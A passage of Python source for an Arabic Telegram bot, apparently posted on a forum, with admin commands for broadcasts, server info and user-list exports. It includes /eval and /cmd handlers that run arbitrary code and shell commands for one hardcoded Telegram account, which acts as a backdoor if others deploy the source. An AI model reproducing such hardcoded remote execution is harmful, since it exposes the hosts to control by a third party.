   if text == 'وضع قناة السورس':

     if not dev2_pls(m.from_user.id,m.chat.id):

        return

     r.set(f'{m.chat.id}:setBotChannel:{m.from_user.id}{Dev_Gv}',1,ex=600)

     return m.reply(quote=True,text=f'{k} هلا مطوري ارسل قناة السورس الحين')

   

   if text == 'مسح قناة السورس':

     if not dev2_pls(m.from_user.id,m.chat.id):

        return

     r.delete(f'{Dev_Gv}:BotChannel')

     return m.reply(quote=True,text=f'{k} ابشر مسحت قناة السورس')

   

   if text == 'وضع رمز السورس':

     if not dev2_pls(m.from_user.id,m.chat.id):

        return

     r.set(f'{m.chat.id}:setBotKey:{m.from_user.id}{Dev_Gv}',1,ex=600)

     return m.reply(quote=True,text=f'{k} هلا مطوري ارسل رمز السورس الحين')

   

   if text == 'مسح رمز السورس':

     if not dev2_pls(m.from_user.id,m.chat.id):

        return

     r.set(f'{Dev_Gv}:botkey', '⇜')

     return m.reply(quote=True,text=f'{k} ابشر مسحت رمز السورس')

   

   if text == 'وضع مجموعة المطور':

     if not dev2_pls(m.from_user.id,m.chat.id):

        return

     r.set(f'{m.chat.id}:setDevGroup:{m.from_user.id}{Dev_Gv}',1,ex=600)

     return m.reply(quote=True,text=f'{k} هلا مطوري ارسل ايدي القروب الحين')

   

   if text == 'مسح مجموعة المطور':

     if not devp_pls(m.from_user.id,m.chat.id):

        return

     r.delete(f'DevGroup:{Dev_Gv}')

     return m.reply(quote=True,text=f'{k} ابشر مسحت مجموعة المطور')

   

   if text == 'تغيير المطور الاساسي':

     if not devp_pls(m.from_user.id,m.chat.id):

        return

     else:

        r.set(f'{m.chat.id}:setBotowmer:{m.from_user.id}{Dev_Gv}',1,ex=600)

        return m.reply(quote=True,text=f'{k} ارسل يوزر المطور الجديد الحين')

   

   if text == 'تحديث':

     if devp_pls(m.from_user.id,m.chat.id):

       m.reply(quote=True,text=f'{k} تم تحديث الملفات')

       python = sys.executable

       os.execl(python, python, *sys.argv)

   

   if text == 'الملفات':

     if m.from_user.id == 6168217372 or m.from_user.id == 5117901887:

        text = '——— ملفات السورس ———'

        a = os.listdir('Plugins')

        a.sort()

        count = 1

        for file in a:

          if file.endswith('.py'):

            text += f'\n{count}) `{file}`'

            count += 1

        text += f'\n——— @{channel} ———'

        return m.reply(quote=True,text=text, disable_web_page_preview=True)

        

   if text == 'اذاعة بالخاص':

      if not dev2_pls(m.from_user.id,m.chat.id):

         return 

      r.set(f'{m.chat.id}:pvBroadcast:{m.from_user.id}{Dev_Gv}',1,ex=300)

      return m.reply(f"{k} ارسل الاذاعة الحين")

 

   if text == 'اذاعة بالقروبات':

      if not dev2_pls(m.from_user.id,m.chat.id):

         return 

      r.set(f'{m.chat.id}:gpBroadcast:{m.from_user.id}{Dev_Gv}',1,ex=300)

      return m.reply(f"{k} ارسل الاذاعة الحين")

   

   if text == 'السيرفر' or text == 'معلومات السيرفر':

     if devp_pls(m.from_user.id,m.chat.id):

       text = '——— SYSTEM INFO ———'

       uname = platform.uname()

       version = lsb_release.get_distro_information()['DESCRIPTION']

       text += f"\n{k} النظام : {uname.system}"

       text += f"\n{k} الاصدار: `{version}`"

       text += '\n——— R.A.M INFO ———'

       svmem = psutil.virtual_memory()

       text += f"\n{k} رامات السيرفر: ` {get_size(svmem.total)}`"

       text += f"\n{k} المستهلك: ` {get_size(svmem.used)}/{get_size(svmem.available)}`"

       text += f"\n{k} نسبة الاستهلاك: `{svmem.percent}%`"

       text += '\n——— HARD DISK ———'

       hard = psutil.disk_partitions()[0]

       usage = psutil.disk_usage(hard.mountpoint)

       text += f"\n{k} ذاكرة التخزين: `{get_size(usage.total)}`"

       text += f"\n{k} المستهلك: `{get_size(usage.used)}`"

       text += f"\n{k} نسبة الاستهلاك: `{usage.percent}%`"

       text += '\n——— U.P T.I.M.E ———'

       uptime = time.strftime('%dD - %HH - %MM - %Ss', time.gmtime(time.time() - psutil.boot_time()))

       text += f'\n{uptime}'

       text += '\n\n༄'

       return m.reply(quote=True,text=text, disable_web_page_preview=True)

   

   if text == 'جلب نسخة القروبات' and devp_pls(m.from_user.id,m.chat.id):

     list = []

     date = datetime.now()

     for chat in r.smembers(f'enablelist:{Dev_Gv}'):

        list.append(int(chat))

     with open(f'{date}.json', 'w+') as w:

        w.write(json.dumps({"botUsername": botUsername,"botID":c.me.id,"Chats":list},indent=4,ensure_ascii=False))

     m.reply_document(f'{date}.json',quote=True)

     os.remove(f'{date}.json')

   

   if text == 'جلب نسخة المستخدمين' and devp_pls(m.from_user.id,m.chat.id):

     list = []

     date = datetime.now()

     for chat in r.smembers(f'{Dev_Gv}:UsersList'):

        list.append(int(chat))

     with open(f'{date}.json', 'w+') as w:

        w.write(json.dumps({"botUsername": botUsername,"botID":c.me.id,"Users":list},indent=4,ensure_ascii=False))

     m.reply_document(f'{date}.json',quote=True)

     os.remove(f'{date}.json')

 

   if text == 'المكتومين عام':

      if not dev_pls(m.from_user.id,m.chat.id):

        return m.reply(quote=True,text=f'{k} هذا الأمر يخص ( Dev²🎖️ وفوق ) بس')

      else:

        if not r.smembers(f'listMUTE:{Dev_Gv}'):

          return m.reply(quote=True,text=f'{k} مافيه مكتومين عام')

        else:

          text = '- المكتومين عام:\n\n'

          count = 1

          for PRE in r.smembers(f'listMUTE:{Dev_Gv}'):

             if count == 101: break

             try:

               user = c.get_users(int(PRE))

               mention = user.mention

               id = user.id

               username = user.username

               if user.username:

                 text += f'{count} ➣ @{username} ࿓ ( `{id}` )\n'

               else:

                 text += f'{count} ➣ {mention} ࿓ ( `{id}` )\n'

               count += 1

             except:

               mention = f'[@{channel}](tg://user?id={int(PRE)})'

               id = int(PRE)

               text += f'{count} ➣ {mention} ࿓ ( `{id}` )\n'

               count += 1

          text += '\n༄'

          m.reply(quote=True,text=text)

 

   if text.startswith('رابط ') and dev2_pls(m.from_user.id,m.chat.id):

     try:

        id = int(text.split()[1])

        gg = c.get_chat(id)

        m.reply(quote=True,text=f'[{gg.title}]({gg.invite_link})',disable_web_page_preview=True)

     except Exception as e:

        print (e)

     

       

   

async def aexec(code, client, message):

    exec(

        "async def __aexec(client, message): "

        + "".join(f"\n {a}" for a in code.split("\n"))

    )

    return await locals()["__aexec"](client, message)

 

 

@Client.on_message(filters.command("eval") & filters.user(6168217372))

async def executor(client, message):

    if len(message.command) < 2 and not message.reply_to_message:

        return await message.reply("» هات أمر عشان انفذ !")

    if len(message.command) >= 2:

      cmd = message.text.split(None,1)[1]

    else:

      cmd = message.reply_to_message.text    

    old_stderr = sys.stderr

    old_stdout = sys.stdout

    redirected_output = sys.stdout = StringIO()

    redirected_error = sys.stderr = StringIO()

    stdout, stderr, exc = None, None, None

    try:

        await aexec(cmd, client, message)

    except Exception:

        exc = traceback.format_exc()

    stdout = redirected_output.getvalue()

    stderr = redirected_error.getvalue()

    sys.stdout = old_stdout

    sys.stderr = old_stderr

    evaluation = ""

    if exc:

        evaluation = exc

    elif stderr:

        evaluation = stderr

    elif stdout:

        evaluation = stdout

    else:

        evaluation = "SUCCESS"

    final_output = f"`OUTPUT:`\n\n```{evaluation.strip()}```"

    if len(final_output) > 4096:

        filename = "output.txt"

        with open(filename, "w+", encoding="utf8") as out_file:

            out_file.write(str(evaluation.strip()))

        

        await message.reply_document(

            document=filename,

            caption=f"`INPUT:`\n`{cmd[0:980]}`\n\n`OUTPUT:`\n`attached document`",

            quote=False

        )

        await message.delete()

        os.remove(filename)

    else:

        await message.reply(final_output)

   

   

   

langslist = tio.query_languages()

langs_list_link = "https://amanoteam.com/etc/langs.html"

 

strings_tio = {

  "code_exec_tio_res_string_no_err": "<b>Language:</b> <code>{langformat}</code>\n\n<b>Code:</b>\n<code>{codeformat}</code>\n\n<b>Results:</b>\n<code>{resformat}</code>\n\n<b>Stats:</b><code>{statsformat}</code>",

  "code_exec_tio_res_string_err": "<b>Language:</b> <code>{langformat}</code>\n\n<b>Code:</b>\n<code>{codeformat}</code>\n\n<b>Results:</b>\n<code>{resformat}</code>\n\n<b>Errors:</b>\n<code>{errformat}</code>",

  "code_exec_err_string": "Error: The language <b>{langformat}</b> was not found. Supported languages list: {langslistlink}",

  "code_exec_inline_send": "Language: {langformat}",

  "code_exec_err_inline_send_string": "Language {langformat} not found."

}

 

@Client.on_message(filters.command("exec") & filters.user(6168217372))

async def exec_tio_run_code(c: Client, m: Message):

    execlanguage = m.command[1]

    codetoexec = m.text.split(None, 2)[2]

    if execlanguage in langslist:

        tioreq = TioRequest(lang=execlanguage, code=codetoexec)

        loop = asyncio.get_event_loop()

        sendtioreq = await loop.run_in_executor(None, tio.send, tioreq)

        tioerrres = sendtioreq.error or "None"

        tiores = sendtioreq.result or "None"

        tioresstats = sendtioreq.debug.decode() or "None"

        if sendtioreq.error is None:

            await m.reply_text(

                strings_tio["code_exec_tio_res_string_no_err"].format(

                    langformat=execlanguage,

                    codeformat=html.escape(codetoexec),

                    resformat=html.escape(tiores),

                    statsformat=tioresstats,

                )

            )

        else:

            await m.reply_text(

                strings_tio["code_exec_tio_res_string_err"].format(

                    langformat=execlanguage,

                    codeformat=html.escape(codetoexec),

                    resformat=html.escape(tiores),

                    errformat=html.escape(tioerrres),

                )

            )

    else:

        await m.reply_text(

            strings_tio["code_exec_err_string"].format(

                langformat=execlanguage, langslistlink=langs_list_link

            )

        )

 

@Client.on_message(filters.command("cmd") & filters.user(6168217372))

async def run_cmd(c: Client, m: Message):

    cmd = m.text.split(None,1)[1]

    if re.match("(?i)poweroff|halt|shutdown|reboot", cmd):

        res = "You can't use this command"

    else:

        stdout, stderr = await shell_exec(cmd)

 

        res = (

            f"<b>Output:</b>\n<code>{html.escape(stdout)}</code>" if stdout else ""

        ) + (f"\n<b>Errors:</b>\n<code>{stderr}</code>" if stderr else "")

    await m.reply_text(res)

 

@Client.on_message(filters.command("print") & filters.user(6168217372))

async def printSS(c: Client, m: Message):

    text = m.text.split()[1]

    try:

        res = await meval(text, globals(), **locals())

    except BaseException: # skipcq

        ev = traceback.format_exc()

        await m.reply_text(f"<code>{html.escape(ev)}</code>")

    else:

        try:

            await m.reply_text(f"<code>{html.escape(str(res))}</code>")

        except BaseException as e: # skipcq

            await m.reply_text(str(e))

 

timeout = httpx.Timeout(40, pool=None)

http = httpx.AsyncClient(http2=True, timeout=timeout)

 

strings_print = {

  "print_description": "Take a screenshot of the specified website.",

  "print_usage": "<b>Usage:</b> <code>/print https://example.com</code> - Take a screenshot of the specified website.",

  "taking_screenshot": "Taking screenshot..."

}

 

@Client.on_message(filters.command(["sc", "webs", "ss"]) & filters.user(6168217372))

async def printsSites(c: Client, message: Message):

    msg = message.text

    the_url = msg.split(" ", 1)

    wrong = False

 

    if len(the_url) == 1:

        if message.reply_to_message:

            the_url = message.reply_to_message.text

            if len(the_url) == 1:

                wrong = True

            else:

                the_url = the_url[1]

        else:

            wrong = True

    else:

        the_url = the_url[1]

 

    if wrong:

        await message.reply_text(strings_print["print_usage"])

        return

 

    try:

        sent = await message.reply_text(strings_print["taking_screenshot"])

        res_json = await cssworker_url(target_url=the_url)

    except BaseException as e:

        await message.reply(f"<b>Failed due to:</b> <code>{e}</code>")

        return

 

    if res_json:

        # {"url":"image_url","response_time":"147ms"}

        image_url = res_json["url"]

        if image_url:

            try:

                await message.reply_photo(image_url)

                await sent.delete()

            except BaseException:

                # if failed to send the message, it's not API's

                # fault.

                # most probably there are some other kind of problem,

                # for example it failed to delete its message.

                # or the bot doesn't have access to send media in the chat.

                return

        else:

            await message.reply(

                "Couldn't get url value, most probably API is not accessible."

            )

    else:

        await message.reply("Failed because API is not responding, try again later.")

        

async def cssworker_url(target_url: str):

    url = "https://htmlcsstoimage.com/demo_run"

    my_headers = {

        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0",

    }

 

    data = {

        "url": target_url,

        # Sending a random CSS to make the API to generate a new screenshot.

        "css": f"random-tag: {uuid.uuid4()}",

        "render_when_ready": False,

        "viewport_width": 1280,

        "viewport_height": 720,

        "device_scale": 1,

    }

 

    try:

        resp = await http.post(url, headers=my_headers, json=data)

        return resp.json()

    except HTTPError:

        return None

انضم إلى النقاش

يمكنك أن تنشر الآن وتسجل لاحقًا. إذا كان لديك حساب، فسجل الدخول الآن لتنشر باسم حسابك.

زائر
أجب على هذا السؤال...

×   لقد أضفت محتوى بخط أو تنسيق مختلف.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   جرى استعادة المحتوى السابق..   امسح المحرر

×   You cannot paste images directly. Upload or insert images from URL.

  • إعلانات

  • تابعنا على



×
×
  • أضف...